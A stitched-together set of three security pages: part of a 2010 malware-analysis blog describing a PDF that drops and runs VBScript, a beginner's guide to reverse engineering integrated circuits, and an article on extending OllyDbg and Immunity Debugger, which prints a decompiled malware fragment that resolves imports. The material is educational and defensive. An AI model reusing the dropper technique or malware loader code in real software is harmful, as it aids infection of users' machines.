have been seen lately, this was likely a bad thing.  
  
Examining the PDF with Didier Steven's pdfid.py showed that there was an
OpenAction in the PDF, but no JavaScript. Interesting. Using pdf-parser.py,
the object pointed to by the OpenAction was examined:  
  
<img src='img/Temp2_8299.gif' />  
This shows that the /Launch vulnerability/feature of PDFs is being used to
drop a VB script and execute it. What is interesting is the VB script \(named
script.vbs\) parses the original PDF for another VBS to run\! A quick look at
the PDF finds the other VBS:  
  
<img src='img/Temp2_8301.gif' />  
  
\(The image above has had code removed for brevity.\)  
  
The new VBS \(named batscript.vbs\) contains an executable broken up into its
hex bytes. The script will write each byte out to a file named game.exe and
then will execute it. After executing, it sleeps for 3 seconds then covers its
tracks by deleting game.exe, batscript.vbs and script.vbs.  
  
game.exe, meanwhile, will copy itself to c:\program files\microsoft
common\svchost.exe and set itself up to run in the registry whenever
explorer.exe runs.  
  
While I know the /Launch vulnerability has been exploited recently, this is
the first I've seen on a mass-email scale \(but isn't the first ever\). I'm
sure we'll be seeing more of these as time goes on.

Posted by Security Shoggoth at 1:35 PM 1 comments Links to this post <img
src='img/Temp2_8302.gif' /> <img src='img/Temp2_8306.gif' width='18'
height='18' />

Labels: malware analysis, PDF

## Sunday, January 31, 2010

### Who are the APT targets?

I've been publicly quiet on the whole APT discussions as of late, with good
reason. There are lots of blogs out there which share \(and do not share\) my
opinion, so there is no need for me to chime into the myriad of voices out
there.  
  
However, an anonymous comment on one of the recent taosecurity posts brought
up a point that I have not seen anyone else talk about. The comment stated:  
  

> Reading the Mandiant Report, we see:  
>  
> 1.\) Government  
> 2.\) Defense Contractors  
> 3.\) Fortune XXX acquiring a Chinese compnay  
> 4.\) A Law Firm involved in a Chinese civil litigation case  
> 5.\) A non-profit trying to spread "democracy and free enterprise in China"
> \(maybe they could also do that in the USA\).  
>  
> Look, it doesn't take Arthur Conan Doyle to piece together the storyline
> here. This clearly isn't "everyone's problem". It's a problem for those that
> are seen as an enemy of certain nation-states.
The part I'd like to focus on is the last statement. The APT problem is not
only the problem of those seen as the enemy of certain nation states. It is
the problem of everyone.  
  
If you read Mandiant's excellent report, you will see specific examples
\(mentioned in the comment above\) which are documented APT targets. Yes,
these are what you think of as nation-state attack targets.  
  
However, I have personally seen the APT attack and compromise systems in
networks which have no ties to that nation-state and you would not consider
enemies of that nation-state \(or any for that matter\). In these cases, the
organizations were small-medium sized companies whose systems were compromised
in order to be used as command and control systems for the APT's backdoors.  
  
Of course, there are those that will say that this is the same technique that
all attackers use - compromise less secure systems and use them as a go-
between to attack other systems. And I will 100% agree with them on that\! But
that re-enforces my point as well\! No one is safe from attack from APT and
therefore there should be no reason why organizations should not take every
reasonable precaution to against these \(or any\) attackers and learn as much
as they can.  
  
Yes, there will be those companies that use the term APT as a marketing tool.
Yes, there will be those who say this is a limited threat to some
organizations \(and to some extent I agree with that\). But in the end, it is
a real threat that exists and any organization that does not perform the due
diligence to at least learn about the potential threat will be at a
disadvantage when they do get attacked; maybe not by the APT but by the next
threat.

Posted by Security Shoggoth at 5:25 PM 4 comments Links to this post <img
src='img/Temp2_8302.gif' /> <img src='img/Temp2_8306.gif' width='18'
height='18' />

Labels: APT

## Thursday, January 21, 2010

### Funky Ivy

I was testing out some functionality with the Poison Ivy backdoor today when I
grabbed this screenshot. Very psychedelic\!  
  
<img src='img/Temp2_8300.gif' />

Posted by Security Shoggoth at 4:43 PM 0 comments Links to this post <img
src='img/Temp2_8302.gif' /> <img src='img/Temp2_8306.gif' width='18'
height='18' />

## Tuesday, January 12, 2010

### Malware Analysis in the Incident Response Process followup

I just finished giving my webcast of Malware Analysis in the Incident Response
Process at brighttalk.com. A few questions came in after the presentation
ended so I'll answer them here and hopefully those who asked will see it.  
  
You indicated it is inevitable to get malware. What is the best
prevention…having dedicated PCs for missions critical functions \(e.g. online
banking\)?  
  
I honestly believe that the best way to prevent getting malware on systems is
to run users with reduced privileges. I have seen first hand where restricting
what activities a user can do on their system \(install software, etc\) will
significantly decrease the amount of malware compromises you have.  
  
Of course, there are other options as well. A good defense in depth strategy
will make it more difficult for malware to compromise your systems. Using up-
to-date AV on the desktop and your email systems, restricting Internet access
and requiring all web-traffic to go through filtering proxy servers will help.  
  
Are there any books you would recommend for beginners to learn malware
analysis?  
  
There are lots of great books out there that I would recommend to anyone who
wants to learn malware analysis. The following are just a few of the ones I've
read.  
  
Malware Forensics by Aquilina, Casey and Malin  
The Art of Computer Virus Research and Defense by Peter Szor  
Malware: Fighting Malicious Code by Skoudis and Zeltser  
  
There are others, but these are a good start.  
  
Can you post a recent example of an analysis?  
  
Unfortunately, I do not have one. However, I recommend checking out the
results from the 2008 Malware Challenge for some analysis reports. I will also
try to post something in the next few weeks.  
  
  
Thanks to those who listened to the webcast. If you have any other questions,
feel free to post them in the comments or send me an email\!

Posted by Security Shoggoth at 6:32 PM 0 comments Links to this post <img
src='img/Temp2_8302.gif' /> <img src='img/Temp2_8306.gif' width='18'
height='18' />

Labels: malware analysis, presentation

## Friday, January 8, 2010

### Malware Analysis in the Incident Response Process

Next week I'll be giving an online presentation at BrightTalk on Malware
Analysis in the Incident Response Process. The description of the talk is:  

> Malware has become the primary vector of compromise within organisations.
> Due to this, it has become necessary for incident response teams to have the
> ability to perform in-house malware analysis. This presentation will discuss
> how malware analysis can benefit an organisation and what options are
> available.
The talk is scheduled for next Tuesday, January 12 at 6PM EST and is part of
their Intrusion Prevention Summit. The summit has alot of interesting talks
all day, so I recommend checking it out.  
  
To attend my talk, you can go to the following URL:  
  
http://www.brighttalk.com/webcasts/7977/attend  
  
Hope you can join\!

Posted by Security Shoggoth at 11:15 AM 1 comments Links to this post <img
src='img/Temp2_8302.gif' /> <img src='img/Temp2_8306.gif' width='18'
height='18' />

Labels: malware analysis, presentation

Older Posts Home

Subscribe to: Posts \(Atom\)

<img src='img/Temp2_8305.gif' width='215' height='183' />  

<img src='img/Temp2_8307.gif' width='18' height='18' />

## Blog Archive

  * ▼  2010 \(7\)
    * ▼  May \(2\)
      * Simulating the User Experience: Part 2
      * Simulating the User Experience: Part 1
    * ►  April \(1\)
      * /Launch Malicious PDF
    * ►  January \(4\)
      * Who are the APT targets?
      * Funky Ivy
      * Malware Analysis in the Incident Response Process ...
      * Malware Analysis in the Incident Response Process

  * ►  2009 \(16\)
    * ►  December \(1\)
      * SANS Incident Detection Summit Wrapup
    * ►  November \(1\)
      * SANS Intrusion Detection Summit
    * ►  October \(1\)
      * Tracking the Defenders
    * ►  September \(1\)
      * Quick Backup Script
    * ►  August \(4\)
      * Introduction to Malware Dissection
      * Its Not Always A Security Issue
      * Automating Malware Analysis Part 2
      * Black Hat Recap
    * ►  May \(2\)
      * Detecting Malicious PDFs
      * Automating Malware Analysis article
    * ►  April \(1\)
      * The more things change, the more they stay the sam...
    * ►  March \(3\)
      * PHP Anti-analysis Technique
      * Another Odd SQL Injection Attack
      * Odd SQL Injection Attack
    * ►  February \(2\)
      * InetSim Installation
      * Strings and update

  * ►  2008 \(48\)
    * ►  December \(1\)
      * Internal Laughs
    * ►  November \(3\)
      * Enhancing Your Skillz...
      * Malware Challenge Results
      * Quick Update
    * ►  October \(2\)
      * Phishing with Malware
      * Malware Challenge Contest In Full Swing\!
    * ►  September \(6\)
      * OWASP NYC AppSec Recap
      * Malware Analysis Contest
      * Upcoming Appearances
      * Flux Agent Geographic Distribution
      * I love getting spam, redux
      * SEO Code Injection
    * ►  August \(5\)
      * Not the smartest...
      * Olympic Travelers Return...Bearing Gifts?
      * Hotel Lobby Security
      * Is Free Better?
      * Another update...
    * ►  July \(5\)
      * Misc MA Stuff
      * Sharing Passwords
      * My First Malware Analysis
      * When will VirusTotal add this one in?
      * Akron's Free City-wide Wireless
    * ►  June \(1\)
      * Slow site == attack
    * ►  May \(8\)
      * Did Chinese hackers cause the 2003 blackout?
      * I love getting spam\!\!\!
      * Convert?
      * Infected eBay watch
    * ►  April \(10\)
    * ►  March \(1\)
    * ►  February \(6\)

<img src='img/Temp2_8307.gif' width='18' height='18' />

## About Me

<img src='img/Temp2_8305.gif' width='80' height='68' alt='My Photo' />

Security Shoggoth

View my complete profile

<img src='img/Temp2_8307.gif' width='18' height='18' />

## Stats

<img src='img/Temp2_8304.gif' width='88' height='26' />

<img src='img/Temp2_8307.gif' width='18' height='18' />

## NE Ohio Security Blogs

  * Security Blah Blah
  * Securi-D
  * Security Second Thoughts
  * Spylogic

<img src='img/Temp2_8307.gif' width='18' height='18' />

<img src='img/Temp2_8307.gif' width='18' height='18' />

## Subscribe Now

<img src='img/Temp2_8303.gif' /> Subscribe in a reader

<img src='img/Temp2_8307.gif' width='18' height='18' />

  *[11:38 AM]: 2010-05-08T11:38:00-04:00
  *[10:04 AM]: 2010-05-08T10:04:00-04:00
  *[1:35 PM]: 2010-04-27T13:35:00-04:00
  *[5:25 PM]: 2010-01-31T17:25:00-05:00
  *[4:43 PM]: 2010-01-21T16:43:00-05:00
  *[6:32 PM]: 2010-01-12T18:32:00-05:00
  *[11:15 AM]: 2010-01-08T11:15:00-05:00

# Layman's Guide to IC Reverse Engineering

**Created:**| _9/23/2011 11:48:23 AM_  
---|---  
**Updated:**| _9/23/2011 12:09:20 PM_  
**Author:**| __  
**Tags:**| _hardware reversing_  
  

# Intro

**The Layman's Guide to IC Reverse Engineering** has been created to teach you
the very basics of what it takes to reverse engineer integrated circuits. Not
too much particular focus is given to the physics and math, just the bare
essentials for a layman to turn images into logic. And chips into images.
Kudos to academia, security researchers, and chip enthusiasts from around the
world for all their papers and presentations that this effort draws
inspiration from.

Please reach out with corrections and comments to adc@intruded.net

### The Idea

An interesting property of ICs is that their functionality can be deduced from
imaging their structure. This can be done with optical microscopes for ICs
with big fat transistors. These ICs tend to be either simple or old. Whereas a
Pentium I had a process size of 1um \(easily viewable\), today intel is
rolling out a process size of 22nm in Ivy Bridge. That is just a factor of 10
away from the width of DNA \(the topic of the next Layman's guide, of
course\).

Once these images are extracted, the relevant portions can be manually turned
back into the abstract. Or, if the target is complicated, the images can be
simulated using custom tools and existing software.

The hardest part about this is having some practical experience to quickly
recognize various structures in images. This can require intense concentration
and insight for the unenlightened. But once you see the patterns, then it's
easy mode. That is where this guide comes in.

# Tools for learning layout

Tools are great. You'll need to grab some to get started with this tutorial.
For now, this section focuses on magic, a layout tool; and irsim, a simulator
that works with magic.

Since hooking up a logic probe to the insides of a microchip can be a bit
nuanced, simulators are often a better route. The downside is that the layout
must first be captured. But we're getting ahead of ourselves already.

Both of these tools are available from opencircuitdesign.com. There, you'll
also find other maintaned repos of unix software for digital design.

Feel free to send in your suggestions or writeups on other free tools, such as
klayoutor degate.

## Magic

"Magic, the VLSI layout editor, extraction, and DRC tool. "

Magic is a lambda-based layout editor. It is designed to work for an arbitrary
process size on a variety of technology types. From what I understand, the
lambda unit approach breaks down for designing nanometer technology, but
that's okay.

One particulary nice thing about magic is that it allows laziness. Details
about wells and other things can be omitted, and magic will figure it out.
Follow the instructions to build it.

### Building

`git clone git://opencircuitdesign.com/magic-8.0
#http://opnopencircuitdesign.com/magic/archive/magic-7.5.213.tgz  
cd magic*; ./configure --with-x --x-includes=/usr/X11/include/X11/
--x-libraries=/usr/X11/lib/  
make  
make install`

Note, when I built magic on Mac OS 10.6, I ran into 64-bit issues at runtime
due to a missing header or something and had to modify the configure script
\(which resets CFLAGS\) to build in 32-bit mode.

`( CFLAGS="-g -m32"; export CFLAGS; cd scripts ; ./configure $* )`

Be sure to seek out the tutorials magic comes with and breeze through them to
understand boxes, cells, etc.

## IRSim

"IRSIM, the switch-level digital circuit simulator. " IRSim is key for what
we're about to do. Since we're just learning IC design, it's nice to have a
tool that can simulate our layouts so we can verify our assumptions.

### Building

`git clone git://opencircuitdesign.com/irsim-9.7 #
http://opencircuitdesign.com/irsim/archive/irsim-9.7.74.tgz  
cd irsim*; ./configure --x-libraries=/usr/X11/lib/
--x-includes=/usr/include/X11/ --without-tcl  
make  
make install  
  
`

Note that I don't use tcl. You might want to give it a shot, but i've been
leaving it out as a non essential. A fun fact is that magic, Tcl, and Tk were
all written by the famous John Ousterhout.

# CMOS Layout

  
By far the **most common technology today is CMOS** , so let's get going on
understanding how it looks.

## Materials

<img src='img/Temp2_4861.png' alt='Materials as colored in Magic' />
\(materials as seen in magic\)  
  
  

Charge carriers:

    * Electronsare particle-waves of energy which we label negatively charged. When current is flowing, that means electrons are being transfered through a medium.
    * Electron Holesare the absense of electrons. They actually have more effective massthan electrons do \(the wave vector math and physics is a bit beyond me\). Just as you can imagine electrons flowing through a medium, you can think of the dual -- electron holes flowing.
Silicon

    *       * N-type\-- Negatively doped silicon produces an abudance of negative charge carriers
      * P-type\-- Positively doped silicon produces an abundance of positive charge carriers.
    * Metal \- metals are good conductors. Wires are built from metal to route signals across a circuit. Contacts are also made out of metal as well as vias -- which are vertical structures that connect the layers underneath. Transistor gates are sometimes made out of various metals as well.
    * Polysiliconis used to form the gates of transistors.
### Notes for reversers

Electron holes have more effective mass, and therefore less mobility. P-type
regions are thus made bigger than N-type regions to compensate. The size
disparity often differentiates P-type and N-type silicon.

## Putting it all together

<img src='img/Temp2_4848.png' />

This is a contrived example of a p-channel mos transistor \(PMOS\). The brown
is the p-type diffusion \(pdiff\). The blue is metal1. The red is the
polysilicon \(labeled gate\). And the black x with the box labeled "contact"
connects the metal to the pdiff layer.

When the red strip has a high voltage applied, current does not flow through
the metal contact to the other side of the strip. When the red strip has a low
voltage applied, current does flow to the other side.

<img src='img/Temp2_4862.png' />

As shown above, we could use this to get output where labeled in the diagram.
In effect, if the gate had a low voltage applied, we would get a high value at
the output. Otherwise, the output would be in a high impedance state.

The gate acts as a valve. On either side of the gate is p-type silicon.
Underneath the gate is not p-type silicon, but n-type silicon. When a low
voltage is applied to the gate, a channel of electron holes will be formed
bridging the two sides of the gate. When a high voltage is applied, the valve
is turned off, and this channel disappears, isolating the sides from one
another. Cool\!

Alright, now that things are getting interesting, let's take a look at an n
channel mos transistor \(NMOS\).

<img src='img/Temp2_4857.png' />

You can think of nmos as the dual of pmos. When the red polysilicon strip has
a high voltage applied to it, current will flow through to the other side.
When the red strip has a low voltage applied to it, current will not flow
through. This is the opposite gate relationship from what we saw before.

Note that now, the metal at the top has a low voltage applied \(Gnd/ground\)
versus a high voltage \(Vdd/power\). So, if the gate has a high voltage
applied, the output will be low. Otherwise, the output will be in a high
impedance state.

There are also some other properties which make associating NMOS with Gnd
contacts \(rather than VDD\) more desirable, but we don't need to worry about
that too much. Unless you're looking at some really strange CMOS, you can
always expect to see NMOS tied with ground rails and PMOS tied with power
rails.

**Complimentary** , the C in CMOS, refers to using PMOS and NMOS transistors
in pairs for extremely power efficient logic gates. Let's take a look at how
that works with an inverter

## Inverter Layout

An inverter provides the negated input at its output. In the realm of digital
logic, this means high output for low input, and low output for high input.
These values vary upon the technology but you can think of 0V as low and 5V as
high if you need a reference.

By combining together the two pieces shown above, we can build a CMOS
inverter.

Many guides are around for building an inverter with Magic. I found this
oneparticularly helpful.

In the end, you should end up with this:  
<img src='img/Temp2_4856.png' />  
For your convenience, I've uploaded the magic file here: inverter.mag

### Inverter Simulation

Open up the inverter in magic, and then run the following commands

[code]    :extract all

    :shell ext2sim inverter.ext
    :rsim scmos100.prm inverter.sim
    
[/code]

Great, now you're ready to simulate. Repeat by copying the commands below. `

[code]          ***

    IRSIM 9.7.73 *** @ Thu Apr 28 20:44:35 PDT 2011 Warning: 
    Aliasing nodes 'GND' and 'Gnd' inverter.sim: Ignoring
    lumped-resistance ('R' 
    construct)
    
    Read inverter.sim 
    lambda:1.00u format:MIT 4 nodes; transistors: n-channel=1 
    p-channel=1 parallel txtors:none 
    irsim> s 
    time = 10.000ns 
    irsim> w in out 
    irsim> s 
    out=X in=X 
    time = 20.000ns 
    irsim> w gnd vdd 
    irsim> s 
    Vdd=1 Gnd=0 out=X in=X 
    time = 30.000ns 
    irsim> l in 
    irsim> s 
    Vdd=1 Gnd=0 out=1 in=0 
    time = 40.000ns 
    irsim> h in 
    irsim> s 
    Vdd=1 Gnd=0 out=0 in=1 
    time = 50.000ns 
        
[/code]

`

If you'd like a visual of your signals, you may also appreciate the analyzer
command

[code]  
    irsim> analyzer in out 
        
[/code]

This should convince you that your layout worked, at least enough for irsim to
understand what you meant. With this powerful tool you can now observe and set
nodes to various voltage levels.

The commands to do this are **h** , **l** , **x** , and **u** for high, low,
high impedance, and unknown. For a rundown on commands, just type help from
within rsim \(and help command for more information on a particular command\).

` `

` `

### Real world inverters

Let's take a peek at some of the real world examples from the silicon zoo.  
Reproduced here, \(currently without permission\)  
<img src='img/Temp2_4860.png' /> <img src='img/Temp2_4859.png' /> <img
src='img/Temp2_4863.png' /> <img src='img/Temp2_4858.png' />

For each of these images, three views are shown. The top view is the metal
layer. The middle view is with the metal removed, exposing the silicon. The
bottom view is a mash up of the top two.

Start from the left image, and try to figure out how each resembles the
inverter sketched in Magic above. Work your way towards the right image.

If you're having trouble seeing it, first focus on finding the gate \(red
strip in the magic screenshots\). Next, determine which one is the P-type
silicon and which one is the N-type silicon. Last, realize that the contextual
information about power/ground is missing here and you have to make a guess.
Now you should be able to figure out the input/output transfer function.

If you still need a hint: A is the input, Y is the output.

Alright, I admit it, the rightmost picture doesn't make any sense. But the
other three should be very clear\! In the real world, it seems things aren't
so square. These shapes are quite messy.

## NAND

<img src='img/Temp2_4864.png' />  
link to magic file

### Real world examples from the zoo

<img src='img/Temp2_4853.png' /> <img src='img/Temp2_4855.png' /> <img
src='img/Temp2_4854.png' /> <img src='img/Temp2_4847.png' />

Alright, you know the drill. Start from the left, and work your way to the
last image. For each one, identify the gates. Next, identify the pmos vs nmos.
And last, trace the path current would take during a state transition.

If you find that you're struggling, open up magic and give it a whirl.
Reconstruct the structures that you see. Then run the simulator.

If you'd like to cheat, here's an imageto walk you through NOR vs NAND.

# The FlyLogic Challenge

Alright ladies and gentlemen, now we're going to take a complex image and see
if we can deduce its functionality by using magic+irsim. The target again
comes from the zoo folks, and was a challenge given on the flylogic blog

Download the challenge here, it may be opened in Gimp.

Metal

<img src='img/Temp2_4850.png' />

Silicon

<img src='img/Temp2_4851.png' />

First attempt at silicon layer

<img src='img/Temp2_4852.png' width='500px' />

And below is the result with metal added. As you can tell, it's okay to be
sloppy as long as the work remains functionally equivalent

<img src='img/Temp2_4849.png' width='600px' />

You can download the magic file

### Magic is actually magical

What you're viewing is a D flip flop\(as previously solved on the flylogic
blog by the winner, Jeri\).

On the far right is the output, labeled Q. On the bottom middle, we have D
\(the input\) and ClockIn \(clock\). The leftmost input is a Reset line. It is
used to put the flip flop into a known state. When low, it resets the output Q
to 0.

So, how to distinguish inputs and outputs? Well, inputs tend to be tied to
gates \(not always, but often\). Outputs, on the other hand, will not be, and
will be buffered well. Take a look at the right side, you can see the node
labeled Q in between power wires on the pmos and in between ground wires on
the nmos. Definitely an output. As for the other three, they are each directly
controlling gates.

All that is left is running the simulator to verify our results. Lets get
going

Run magic on the download, and enter these commands to make the sim file and
run the simulator

[code]     :extract all

    :shell ext2sim challenge.ext 
    :rsim scmos100.prm challenge.sim
      
[/code]

And run these commands

[code]    w D ClockIn Reset Q

    ana D ClockIn Reset Q clock 
    ClockIn 0 1 c
      
[/code]

Great, the output shouldresemble this

[code]     irsim> c Reset=X ClockIn=1 Q=X D=X

      
[/code]

Now you're ready to use the flip flop.

[code]  
    irsim> h Reset 
    irsim> c Reset=1 
    ClockIn=1 Q=X D=X 
    time = 40.000ns 
    irsim> l D 
    irsim> c 
    Reset=1 ClockIn=1 Q=0 D=0 
    time = 60.000ns 
    irsim> h D 
    irsim> c 
    Reset=1 ClockIn=1 Q=1 D=1 
    time = 80.000ns; 
    there are 1 pending events 
    irsim> l D 
    irsim> c 
    Reset=1 ClockIn=1 Q=0 D=0 
    time = 100.000ns 
    irsim> 
      
[/code]

If you have questions about any part of this process, please let me know.

# What's Next

So far this tutorial has provided you with mental and software tools to
simulate CMOS transistors, and some references to work from. This skill is
just one of many a silicon reverse engineer must employ to analyze a circuit.
Silicon dies must also be extracted from packages. High quality image captures
of the different layers must be made. And on the imaging side, redundancy
should be automated where possible to accelerate the process.

# Decapping

### Disclaimer

Please read the siliconpr0n **Disclaimer** : Many of the procedures on this
Wiki are extremely dangerous and should not be attempted except by trained
professionals. We take no responsibility for accuracy of the information
including, but not limited to, any safety precautions or other procedural
notes that may result in personal or material damage. Do not attempt these
procedures unless you are certain that you can do so safely without damage to
yourself, others, and/or your surroundings.

###  Read Siliconpr0n on decapsulation

Decapsulation refers to extracting the silicon die from its package. If the
chip you're looking for is in a plastic card, a pint of acetone will do the
trick. If the target is encased in an epoxy carrier, it won't be that simple.
The wiki will help you there with a number of known techniques. Normally,
these methods only need to be used when tools are otherwise unavailable.
Research facilities and testing firms have equipment which will take care of
this for you.

Once a silicon die is extracted, each layer needs to be captured. For
microprocessors, there can be a dozen different metal routing layers, this can
be quite daunting. Each layer needs to be captured to figure out how nodes
propagate across the circuit layout. Protective layers must also be removed.
The wiki has more informationa bout this.

# Imaging

###  Check the wiki

Excellent image captures make analysis easy\! Poor images do not lend well to
reverse engineering, and can not be automatically extracted from.

A typical set up involves a digital camera hooked up to a microscope with a
sample that is attached to programmable controls. Software automates grabbing
the full image as a set of tiles across a rectangular grid by moving the scope
or sample and engaging the camera.

Stitching must then be applied to all these tile images to form one very large
image. This makes later analysis easier. Various stitching tools, such as
hugin, are essential for this process.

A successful stitch marks one image capture. If there are occluded layers,
this process must be repeated for each layer underneath. For example, one
capture may get the top metal layer. Then, this layer must be removed \(by
machining, or other means\). And then, then another iamge is made of the die
with the newly exposed layers. Staining can also be applied to bring out
materials and features that are otherwise difficult to identify.

These images are then ready to use with tools such as degate, which helps
automate logic cell detection and routing. If the goal is to simulate the
system at the transistor layer, the full IC layout can be extracted using
Photoshop, GIMP, or a layout editor such as magic.

# Conclusion

###

Go forth and reverse\!

# Links

http://visual6502.org  
http://degate.org/  
http://siliconpr0n.wikispaces.com/  

# FAQs

### Word

### How do you use magic ?

Magic is quite powerful, and you should consult the tutorials. If you're
feeling really lazy, to get started, you need a mouse \(preferably with 3
buttons\). Press "space" to switch between tools. By default you'll be using
the box tool, it looks like a cross. Left click picks the lower left corner of
the box. Right click picks the upper right corner of the box. In this mannery
arbitrary boxes can be drawn on the layout.

To paint something inside the box, use the :paint command. Just type :paint
\_layer\_, where \_layer\_ is based on the current technology file. For cmos,
try ndiff, pdiff, polysilicon, polycontact, metal1, or metal2. A middle click
will copy whatever material you clicked on into the current box. Hit "space"
to the routing tool. Middle clicking on a different layer will automatically
create the correct via or contact for the current box with the layer you
clicked on.

You can zoom in and out with the :zoom command, or the z/v keys. You can use
the "s" key to select different structures and "c" to copy them around. Note
that the key combinations vary across magic distributions and many
configuration settings \(YMMV greatly\).

Last, you can label things with the :label command. But seriously, read the
tutorials, there is a wealth of information there, such as cells, routing,
advanced copy commands, and integrated use of irsim.

### Lambda what?

Lambda is a unit-less quantity representing the smallest possible dimension in
a circuit.

### How does this MOS transistor actually work?

Wikipedia has a great discourse on the MOSFET. If you're confused by the cross
sections, remember that you're seeing this all from a top down view. This
guide does not mention the wells/substrate layers underneath that are critical
for the whole operation.

` `

# Extending Debuggers - InfoSec Institute

**Created:**| _6/26/2014 12:37:07 PM_  
---|---  
**Updated:**| _6/26/2014 12:37:07 PM_  
**Author:**| __  
**Tags:**| _Debugging programming_  
  

# Extending Debuggers

Sometimes we come across situations when we are in need of doing something
inside our debuggers or to extend the functionality of them. For such things,
debuggers usually provide an API interface to extend or provide extra
functionality for the debugger.

There are two types of API provided by the debuggers:

1: SDK API  
2: Scripting API

One can choose any based on the requirements. Usually when there is a rapid
requirement, scripting will come in handy, but if something requires system or
low level access, then SDK is useful. SDK API requires being compiled, while
scripts can be modified easily.

**Ollydbg Plugin Interface**

Ollydbg supports API for plugins. Plugins are compiled DLL written in C
programming language. The following constants define particular actions in a
debugger context.

[code]

      #define ODBG_Plugindata      _ODBG_Plugindata
      #define ODBG_Plugininit      _ODBG_Plugininit
      #define ODBG_Pluginmainloop  _ODBG_Pluginmainloop
      #define ODBG_Pluginsaveudd   _ODBG_Pluginsaveudd
      #define ODBG_Pluginuddrecord _ODBG_Pluginuddrecord
      #define ODBG_Pluginmenu      _ODBG_Pluginmenu
      #define ODBG_Pluginaction    _ODBG_Pluginaction
      #define ODBG_Pluginshortcut  _ODBG_Pluginshortcut
      #define ODBG_Pluginreset     _ODBG_Pluginreset
      #define ODBG_Pluginclose     _ODBG_Pluginclose
      #define ODBG_Plugindestroy   _ODBG_Plugindestroy
      #define ODBG_Paused          _ODBG_Paused
      #define ODBG_Pausedex        _ODBG_Pausedex
      #define ODBG_Plugincmd       _ODBG_Plugincmd
    
[/code]

Plugins for ollybdg are written as shared library in C. We need to define the
dll enrty point and inilitize the plug in before it is used. Events are also
defined using exports.

Plugins are initialized using the ODBG\_Plugininit\(\) export function.

[code]

    /******************************************************
    *       Sample Ollgdbg Plugin file
    *
    *******************************************************/
    
    #include <stdio.h>
    #include <plugin.h>
    
    #pragma once
    #pramga Comment ("lib", "ollydbg.lib") // Inlude the library file
    
    BOOL WINAPI DllEntryPoint(HINSTANCE hi,DWORD reason,LPVOID reserved) {
      if (reason==DLL_PROCESS_ATTACH)
        hinst=hi;                          // Mark plugin instance
      return 1;                            // Report success
    };
    
    extc int _export cdecl ODBG_Plugininit()
    {
    
    }
    
    extc void _export cdecl ODBG_Pluginmainloop(DEBUG_EVENT *debugevent) {
    };
    
    extc void _export cdecl ODBG_Pluginaction(int origin,int action,void *item) {
      t_bookmark mark,*pb;
      t_dump *pd;
      if (origin==PM_MAIN) {
        switch (action) {
          case 0:
    
            break;
          case 1:
            MessageBox(NULL, "Hello World", "Hello World! Plugin ", MB_OK);
          default: break;
        }; }
        }
    
[/code]

**Immunity Scripting**

Immunity debugger also supports scripting based on Python programming
language. The scripts written for immunity debugger are known as pycommands.
They can be executed in the command bar as \!.

Immunity scripting supports breakpoints, hooking, and loggers.

The default skeleton for a pycommands script is:

[code]

    # !usr/bin/python
    import immlib
    def main(args):
     dbg = immlib.Debugger()
     return ""
     dbg = immlib.Debugger() – define a instance to a debugger class
    
[/code]

The following are some of the basic functions inside the Debugger class:

The script’s main body is located in the main function with arguments as args.
To execute the script, we need to place the file in the “C:Program
FilesImmunity IncImmunity DebuggerPyCommands” directory and execute from the
immunity command bar as \!filename

Let’s now create a dummy hello world script that writes to the log window:

[code]

    import immlib
    
    def main(args):
        dbg = immlib.Debugger()
        dbg.writeLog(“Hello world!”)
        return ""
    
[/code]

We can save this file in the “C:Program FilesImmunity IncImmunity
DebuggerPyCommands” as helloworld.py and it can be executed using the
following command: \!helloworld

There are more functions inside Debugger\(\) class, let’s try to explore and
use them.

**Getting the PEB address**

getPEBAddress\(\) is a method inside the Debugger class that can be used to
get the PEB address of the loaded application inside the debugger.

We can use the PEB address to patch many things. PEB is mainly used for thread
related structures and processing information. We can get the details in
Loaded modules, for example what this malware code does with PEB:

[code]

     typedef struct _PEB {
      BYTE                          Reserved1[2];
      BYTE                          BeingDebugged;
      BYTE                          Reserved2[1];
      PVOID                         Reserved3[2];
      PPEB_LDR_DATA                 Ldr;
      PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
      BYTE                          Reserved4[104];
      PVOID                         Reserved5[52];
      PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
      BYTE                          Reserved6[128];
      PVOID                         Reserved7[1];
      ULONG                         SessionId;
    } PEB, *PPEB;
    
     v9 = *(_DWORD *)"LoadLibraryExA";
      v10 = *(_DWORD *)&aLoadlibraryexa[4];
      v11 = *(_DWORD *)&aLoadlibraryexa[8];
      v12 = *(_WORD *)&aLoadlibraryexa[12];
      v13 = aLoadlibraryexa[14];
      v15 = sub_4001E92();
      v20 = 0;
      v16 = (int (__thiscall *)(int, int, int *))sub_4001EA7(v15, "GetProcAddress");
      v20 = v16(v5, v15, &v9);
      v3 = a1;
      result = *(_DWORD *)(a1 + 60);
      for ( i = a1 + *(_DWORD *)(result + a1 + 128); *(_DWORD *)(i + 4) || *(_DWORD *)(i + 12); i += 20 )
      {
        v7 = v3 + *(_DWORD *)i;
        for ( j = v3 + *(_DWORD *)(i + 16); ; j += 4 )
        {
          result = *(_DWORD *)v7;
          if ( !*(_DWORD *)v7 )
            break;
          v15 = -1;
          if ( result < 0 )
          {
            v2 = (unsigned __int16)result;
            v15 = (unsigned __int16)result;
          }
          v14 = v3 + result;
          v8 = *(_DWORD *)(i + 12);
          v17 = v3 + v8;
          v19 = ((int (__fastcall *)(int, int, int, _DWORD, _DWORD))v20)(v3, v2, v3 + v8, 0, 0);
          if ( v15 == -1 )
          {
            v17 = v14 + 2;
            v18 = ((int (__stdcall *)(int, int))v16)(v19, v14 + 2);
          }
          else
          {
            v17 = v15;
            v18 = ((int (__stdcall *)(int, int))v16)(v19, v15);
          }
          if ( *(_DWORD *)j != v18 )
            *(_DWORD *)j = v18;
          v3 = a1;
          v7 += 4;
        }
      }
      return result;
    }
    
[/code]

This code snippet loads LEP loaded modules and parses the IAT.

**Want to learn more??** The InfoSec Institute  Reverse Engineering course
teaches you everything from reverse engineering malware to discovering
vulnerabilities in binaries. These skills are required in order to properly
secure an organization from today's ever evolving threats. **In this 5 day
hands-on course, you will gain the necessary binary analysis skills to
discover the true nature of any Windows binary.** You will learn how to
recognize the high level language constructs \(such as branching statements,
looping functions and network socket code\) critical to performing a thorough
and professional reverse engineering analysis of a binary. Some features of
this course include:

  * **CREA Certification**
  * 5 days of Intensive **Hands-On Labs**
  * Hostile Code & Malware analysis, including: Worms, Viruses, Trojans, Rootkits and Bots 
  * Binary obfuscation schemes, used by: Hackers, Trojan writers and copy protection algorithms 
